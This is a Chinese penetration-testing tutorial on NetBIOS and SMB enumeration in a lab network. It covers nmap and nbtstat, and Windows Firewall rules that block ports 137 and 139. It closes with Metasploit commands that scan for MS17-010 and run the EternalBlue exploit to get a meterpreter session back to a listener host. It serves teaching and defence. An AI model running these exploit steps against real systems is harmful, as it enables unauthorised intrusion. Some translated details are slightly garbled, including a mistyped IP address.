NetBIOS(网络基本输入/输出系统)
NetBIOS 是一种允许以太网或令牌环网络中的打印机或其他计算机等应用程序通过 NetBIOS 名称进行通信的服务。
NetBIOS 名称是一个 16 位长度的字符,由 WINS 分配给工作组中的计算机,以便将 IP 地址解析为 NETBIOS 名称。
工作组 VS 域
工作组:它是同一 LAN 或子网中最多 10 台计算机的对等网络。它没有集中管理,这意味着任何计算机都无法控制另一台计算机。每个用户都在其系统上本地控制资源和安全。
域:它是全球范围内最多可容纳 2000 台计算机的客户端/服务器网络。管理员管理域及其用户和资源。拥有域帐户的用户可以登录任何计算机系统,而无需拥有该计算机上的帐户。
NetBIOS 提供三种不同的服务:
- 通过端口137进行名称注册和解析的名称服务(NetBIOS-NS)。
- 通过端口138进行无连接通信的数据报分发服务 (NetBIOS-DGM) 。
- 通过端口139进行面向连接的通信的会话服务(NetBIOS-SSN)。
端口 | 协议 | 服务 |
135 | TCP | MS-RPC 端点映射器 |
137 | UDP | NetBIOS 名称服务 |
138 | UDP | NetBIOS 数据报服务 |
139 | TCP | NetBIOS 会话服务 |
445 | TCP | SMB 协议 |
135端口:用于客户端与服务器之间的Microsoft Remote P rocedure C all,监听客户端的查询。基本上用于客户端-客户端、服务器-客户端之间的通信,发送消息。
端口 137 :名称服务在 UDP 端口 137 上运行。NetBIOS 提供的名称服务原语包括:
- 添加名称 — 注册 NetBIOS 名称。
- 添加组名——注册 NetBIOS“组”名。
- 删除名称 – 取消注册 NetBIOS 名称或组名。
- 查找名称 — 在网络上查找 NetBIOS 名称。
端口 138:数据报模式是无连接的;应用程序负责错误检测和恢复。在 NBT 中,数据报服务在 UDP 端口 138 上运行。NetBIOS 提供的数据报服务原语包括:
- 发送数据报 — 向远程 NetBIOS 名称发送数据报。
- 发送广播数据报 – 向网络上的所有 NetBIOS 名称发送数据报。
- 接收数据报——等待发送数据报操作到达的数据包。
- 接收广播数据报——等待发送广播数据报操作到达的数据包。
端口 139:会话模式允许两台计算机建立连接,允许消息跨越多个数据包,并提供错误检测和恢复。在 NBT 中,会话服务在 TCP 端口 139 上运行。
NetBIOS 提供的会话服务原语有:
- 调用——打开与远程 NetBIOS 名称的会话。
- 监听 — 监听打开 NetBIOS 名称会话的尝试。
- 挂断——关闭会话。
- 发送——向会话另一端的计算机发送数据包。
- 发送不确认 – 类似于发送,但不需要确认。
- 接收——等待从会话另一端的发送端到达的数据包。
端口 445:用于 SMB 协议(服务器消息块),用于不同操作系统(即 windows-windows、Unix-Unix 和 Unix-windows)之间共享文件。
扫描开放端口进行 NETBIOS 枚举
我们使用 nmap 扫描目标网络以查找开放的 TCP 和 UDP 端口和协议。
nmap -sT -sU 192.168.1.128
如果管理员在网络中共享文件夹会发生什么?
假设我们已经授予特定文件夹共享权限(例如,如给定图像中所示的ignite),以便我们可以与本地网络中的另一个用户共享该文件夹,那么哪个端口将涉及此过程。
现在您可以看到我们已获得共享文件夹的链接。使用该链接,任何人都可以访问该网络中的此文件夹,因此这意味着现在必须激活新端口以建立连接,以便访问另一个系统上的共享文件夹,让我们来了解一下。
nmap -sT -sU 192.168.1.128
从扫描结果可以观察到,共享文件夹后我们发现端口135、139和445被激活。
因此,仅通过在网络中共享一个文件夹,目标系统中就会同时打开三个端口,以便与另一个系统进行通信。
通过计算机>属性,用户可以查看有关其计算机的基本信息。
正如您所看到的,我们正在共享受害者控制面板主页的图像,其中显示了其系统的基本信息,例如计算机名称、工作组等
nbtstat -a192.168.1.128
因此,您可以从 NetBIOS 远程机器名表中读取信息,我们已经枚举了与上图所示的相同的信息。
使用防火墙对 135-139 端口进行过滤
为了提高本地网络系统的安全性,您可以借助 Windows 防火墙在端口 137 上添加过滤器。由于135 至 139 端口系列最容易受到攻击,因此管理员可以阻止整个系列或特定端口。
选择入站规则并单击新建规则。
选择端口的单选按钮将创建一个控制 TCP 或 UDP 端口连接的新规则。
然后点击下一步。
选择 UDP 端口以应用规则。
将端口 137编辑为特定本地端口,然后单击下一步。在这里您还可以添加完整的系列,例如 135、137、138、139。
选择“阻止连接”作为当连接符合指定条件时要采取的操作。
因此,它将不允许端口 137 上的流量进行通信,这样,如果攻击者扫描受害系统,他将无法找到目标系统的 NetBIOS 名称。
单击“下一步”。
最后,为您选择的新规则提供一个标题(如图像块 nbtstat所示),然后单击“完成”,您将看到新的过滤器/规则将被添加到 Windows 防火墙中。
nbtstat -a192.168.1.128
这次它不会给出任何与 NetBIOS 相关的信息。从给定的图像中你可以看到消息“未找到主机”。
结论: 因此,通过阻止 137,管理员增加了一个安全级别,将在本地网络中隐藏其系统的 NetBIOS 名称 (192.168.1.128)。
通过端口 139 访问共享文件夹
现在让我们尝试使用运行命令提示符访问目标 (192.168.1.128) 的共享文件夹。 从给定的图像中,您可以观察到我们能够访问 ignite 文件夹。这是 可能的,因为服务“NetBIOS 会话服务”在端口 139 上运行。
阻止端口 139
同样,再次使用防火墙入站规则来阻止端口 139,以便我们可以验证其对两个或多个系统之间共享信息的影响。这将在防火墙中添加一项新规则,以阻止端口 139 上的流量。
现在让我们再次尝试在端口 139 被目标 (192.168.1.128) 阻止时访问其共享文件夹,并确定我们是否能够使用运行命令提示符访问共享文件夹“ignite”。
从给定的图像中,您可以看到,当管理员在其网络中阻止端口 139 时,我们能够访问 ignite 文件夹。
结论:虽然端口 139 被阻止,但由于端口 445 上运行着协议,因此仍然可以进行共享。因此,通过阻止端口 137 和 139,管理员添加了一个安全级别,可以阻止 NetBIOS 会话服务以及用于 NetBIOS 枚举的 NetBIOS 名称服务。
主要是在许多组织中,出于安全原因,135 到 139 端口系列在网络中被阻止,因此端口 445 用于在网络中共享数据。现在使用 Metasploit 确定它是否容易受到 MS17-010 攻击,如给定图像所示。
use auxiliary/scanner/smb/smb_ms17_010
msf auxiliary(smb_ms17_010) > set rhosts 192.168.1.128
msf auxiliary(smb_ms17_010) > set rport 445
msf auxiliary(smb_ms17_010) > exploit
use exploit/windows/smb/ms17_010_eternalblue
msf exploit(ms17_010_eternalblue) >set rhost 192.168.1.1.128
msf exploit(ms17_010_eternalblue) >set rport 445
msf exploit(ms17_010_eternalblue) >set lhost 192.168.1.115
msf exploit(ms17_010_eternalblue) > exploit
这将利用目标系统并提供目标系统的 meterpreter 会话,如给定的图像所示。
结论:枚举在网络渗透测试中起着重要作用,因为它将提取受害者系统的隐藏信息并识别可能有助于利用系统的弱点。
原文始发于微信公众号(三沐数安):Windows 上的 NetBIOS 和 SMB 渗透测试
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论